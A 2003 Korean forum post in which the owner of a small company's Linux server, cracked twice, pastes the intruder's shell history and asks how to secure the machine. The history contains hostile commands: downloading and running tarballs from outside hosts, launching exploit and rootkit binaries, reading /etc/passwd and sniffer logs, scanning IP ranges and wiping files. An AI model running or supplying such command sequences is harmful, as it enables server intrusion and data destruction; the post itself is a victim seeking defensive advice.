|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_recover&no=24 [복사]
워낙 우리회사가 돈이 없어서
영업좀 하려고 제가 배우가면서 리눅스로 서버를 만들었습니다.
3일전에도 크래킹 당했는데.
데이터 db 자료 다 날라가고
그래서 복구 하는데 만 하루가 걸였습니다.
그런데 나름대로 여기 와서 보안에 신경 써는데.
똑 당했습니다.
/home/dns/계정이 생겨고
안에 .bash_history 보니까
id
wget raj.home.ro/man.tgz
tar zxvf man.tgz
rm -rf man.tgz
cd man
cat /etc/issue
chmod +x raj
./raj -d
?hmod +x rh7
./rh7
chmod +x rh7
./rh7
./rh7
./rh7
./rh7
./rh7
./rh7
wget mymail.home.ro/x
chmox +x x
./x
chmod +x x
./
x./x
./x
id
chmod +x inst
./inst
cd
cd /usr/locale/sbin/pe/.pe12
./sk
locate .sniffer
cd /usr/share/locale/sk/.ro/
cat .sniffer
rm -rf .sniffer
w
cd
wget raj.home.ro/hide.tgz
tar zxvf hide.tgz
cd hide
./hide dns 2 2
cd ..
ls -al
rm -rf hide hide.tgz man
wget www.geocities.com/maxy_0/aha.tgz
tar aha.tgz
tar zxvf aha.tgz
./scanphp.sh 194.147
tar zxvf aha.tgz
./scanphp.sh 61.95
LS -AL
ls -al
.nc
./nc
locate sniffer
cat /usr/locale/sbin/pe/.pe12/.sniffer
locate sniff
locate tcp.log
cat /etc/passwd
ls -al
cat .bash_profile
cat .bash_logout
rm -rf *
생성이 됐더군요.
그리고 find 명령어로
find /dev/ -type f
/dev/MAKEDEV
/dev/hdx1
/dev/ttyop
/dev/ttyoa
/dev/ttyof
/dev/hdx2
몇개의 백도어를 찾아습니다.
휴~~~ 정말 세상 살아가기 힘든데.
꼭 이런식으로 소기업들을 가지고 놀생각인가
라인도 돈이 없어서 adsl라인을 사용 하고 있는데..
부탁합니다.
어떤 형식으로 저희 서버를 만지것지 대처 방안이 없나요
복구하자마자 하루만에 들어와 이렇게 만들어놓고 같네요
telnet을 사용해서 그런가 텔넷만 만으면 어느 정도 보안이 가능한지
|
Hit : 4105 Date : 2003/12/06 05:35
|
423, 
21/22 
